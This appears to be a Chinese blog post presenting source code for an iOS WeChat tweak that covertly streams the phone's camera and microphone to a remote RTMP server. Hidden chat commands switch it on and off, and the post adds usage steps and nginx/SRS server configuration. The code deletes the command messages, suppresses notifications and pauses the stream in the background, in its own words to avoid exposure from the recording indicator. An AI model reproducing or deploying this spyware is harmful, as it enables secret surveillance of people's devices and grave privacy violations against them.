偷偷开启?的摄像头

cxm
其实是利用wx的信息收发机制实现,开启关闭.和上下线通知.

具体是hook了 CMessageMgr 这个类

废话不多说直接上代码

#import "HGLiveHook.h"
#import 
#import "CaptainHook/CaptainHook.h"
#import "HGLiveSettings.h"
#import "HGLiveManager.h"
#import "WechatPodForm.h"


CHDeclareClass(CMessageMgr);

// 聊天窗口显示过滤处理
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) {
    
    [[HGLiveSettings shared] setMgr:self];
    wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""];
    if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) {
        [HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([wrap.m_nsContent isEqualToString:start]) {
        
        [[HGLiveSettings shared] setIsPlay:YES];
        [[HGLiveSettings shared] setWrap:wrap];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];

        if (![HGLiveSettings isNoAddress]) {
            [HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi];
            return;
        }
        
        [HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]];
        [[HGLiveManager shared] startRunning];
    }

    if ([wrap.m_nsContent isEqualToString:stop]) {
        [[HGLiveSettings shared] setIsPlay:NO];
        [[HGLiveManager shared] stopLive];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([wrap.m_nsContent isEqualToString:rotate]) {
        [[HGLiveManager shared] rotateCamera];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) {
        if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    }
    
    CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap);
}

// 聊天列表显示过滤
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) {
    CMessageWrap *wrap = arg1[[arg2 anyObject]];
    if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2);
}

// 通知过滤
CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) {
    if ([arg1 valueForKey:@"3"]) {
        CMessageWrap *wrap = [arg1 valueForKey:@"3"];
        if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    }
    CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1);
}

CHDeclareClass(MicroMessengerAppDelegate);
// 将变为非活跃状态
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) {
    // 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭
    if ([[HGLiveSettings shared] isPlay]) {
        [[HGLiveManager shared] stopLive];
        [HGLiveSettings AddMsgWithContent:@"stop"];
    }
    CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1);
}

// 由后台进入前台
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) {
    // 开启.
    if ([[HGLiveSettings shared] isPlay]) {
        [[HGLiveManager shared] startRunning];
        [HGLiveSettings AddMsgWithContent:@"start"];
    }
    CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1);
}
// 所有被hook的类和函数放在这里的构造函数中
CHConstructor
{
    @autoreleasepool
    {
        CHLoadLateClass(CMessageMgr);
        CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap);
        CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName);
        CHHook1(CMessageMgr, MainThreadNotifyToExt);
        
        CHLoadLateClass(MicroMessengerAppDelegate);
        CHHook1(MicroMessengerAppDelegate, applicationWillResignActive);
        CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground);
    }
}
#import "HGLiveSettings.h"
#import "HGLiveHook.h"
#import 

@interface HGLiveSettings()

@end
@implementation HGLiveSettings

static HGLiveSettings *_shareInstance = nil;
+ (instancetype)shared {
    if (!_shareInstance) {
        _shareInstance = [[self alloc] init];
    }
    return _shareInstance;
}

- (void)setWrap:(CMessageWrap *)wrap {
    _wrap = [wrap copy];
    _wrap.m_nsFromUsr = wrap.m_nsToUsr;
    _wrap.m_nsToUsr = wrap.m_nsFromUsr;
    _wrap.m_uiMesLocalID = 0;
    _wrap.m_n64MesSvrID = 0;
    _wrap.m_uiStatus = 1;
    _wrap.m_uiMessageType = 1;
    _wrap.m_nsMsgSource = nil;
}

+ (void)setupServer:(NSString *)address room:(NSString *)room {
    NSString *fwq = [address stringByReplacingOccurrencesOfString:@":" withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@":" withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@" " withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@"#服务器" withString:@""];
    if (fwq.length < 8) return;
    NSString *roomID = [room stringByReplacingOccurrencesOfString:@"wxid_" withString:@""];
    NSString *rtmpAddress = [NSString stringWithFormat:@"rtmp://%@:2018/hls/%@",fwq ,roomID];
    NSString *httpAddress = [NSString stringWithFormat:@"http://%@:8080/hls/%@.m3u8",fwq, roomID];
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    [ud setObject:rtmpAddress forKey:@"rtmpAddress"];
    [ud setObject:httpAddress forKey:@"httpAddress"];
    [ud synchronize]; //立即写入
}

+ (void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap {
    [[[self shared] mgr] DelMsg:DelMsg MsgWrap:MsgWrap];
    [[[self shared] mgr] DelMsg:DelMsg MsgList:MsgWrap DelAll:NO];
    [[[self shared] mgr] AsyncOnDelMsg:DelMsg MsgWrap:MsgWrap];
}

+ (void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap {
    [[[self shared] mgr] AddMsg:AddMsg MsgWrap:MsgWrap];
    [self DelMsg:AddMsg MsgWrap:MsgWrap];
}

+ (void)AddMsgWithContent:(NSString *)nsContent {
    CMessageWrap *MsgWrap = [[self shared] wrap];
    MsgWrap.m_nsContent = nsContent;
    [[[self shared] mgr] AddMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
    [self DelMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
}

+ (BOOL)isNoAddress {
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
    NSString *httpAddress = [ud objectForKey:@"httpAddress"];
    if (rtmpAddress == nil || httpAddress == nil) return NO;
    return YES;
}

+ (NSString *)getPlayAddress {
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
    NSString *httpAddress = [ud objectForKey:@"httpAddress"];
    return [NSString stringWithFormat:@"#播放地址,网页地址:%@,播放器地址:%@",httpAddress,rtmpAddress];
}

+ (BOOL)isEqualToCommand:(NSString *)command {
    if ([command isEqualToString:start]  ||
        [command isEqualToString:stop]   ||
        [command isEqualToString:rotate] ||
        [command hasPrefix:shiPingDiZhi] ||
        [command hasPrefix:sheZhiFuWuQi] ||
        [command isEqualToString:WeiSheZhiFuWuQi]) {
        return YES;
    }
    return NO;
}

@end
#import "HGLiveManager.h"
#import "LFLiveKit.h"

@interface HGLiveManager()
@property (nonatomic, strong) LFLiveSession *liveSession;
@end

@implementation HGLiveManager

static HGLiveManager *_shared;
+ (instancetype)shared {
    if (!_shared) {
        _shared = [[self alloc] init];
    }
    return _shared;
}

- (instancetype)init {
    if (self = [super init]) {
        LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration];
        LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1;
        LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality];
        self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig];
    }
    return self;
}

- (void)startRunning {

    dispatch_async(dispatch_get_global_queue(0, 0), ^{
        self.liveSession.running = NO;
        self.liveSession.preView = [UIView new];
        LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new];
        streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"];
        [self.liveSession startLive:streamInfo];
        self.liveSession.running = YES;
    });
}

- (void)rotateCamera {
    
    if (!self.liveSession.running) return;
    AVCaptureDevicePosition position = self.liveSession.captureDevicePosition;
    self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack;
}

- (void)stopLive{
    self.liveSession.running = NO;
}

@end

使用方法

  设置服务器器,直接在聊天窗口输入命令
       #服务器192.168.31.1 (这里替换自己的服务器ip)

2.开启命令

#ksp

3.关闭命令

#gsp

4.切换前后摄像头

#hjt

服务器搭建
服务器系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .
nginx直接在github clone 到服务器 nginx 设置 nginx安装好后在nginx.conf文件中最后加入

rtmp {
   server {
       listen 2018;
       application rtmplive {
           live on;
           max_connections 1024;
       }
       application hls{
           live on;
           hls on;
           hls_path /usr/local/var/www/hls;
           hls_fragment 1s;
       }
   }
}

重启Nginx: nginx -s reload 是配置生效
srs配置 ~/srs/trunk/conf 目录新建一个 .conf的文件 配置内容如下

listen              2018;
max_connections     1000; 
http_server {
    enabled         on;
    listen          8080;
    dir             ./objs/nginx/html;
}
vhost __defaultVhost__ {
    hls {
        enabled         on;
        hls_path        ./objs/nginx/html;
        hls_fragment    5;
        hls_window      60;
    }
    http_remux {
        enabled     on;
        mount       [vhost]/[app]/[stream].flv;
        hstrs       on;
    }
    gop_cache       off;
    queue_length    10;
    min_latency     on;
    mr {
        enabled     off;
    }
    mw_latency      100;
    tcp_nodelay     on;
}

然后运行命令是配置生效 ./objs/srs -c conf/名称.conf

git源码下载地址

你可能感兴趣的:(偷偷开启?的摄像头)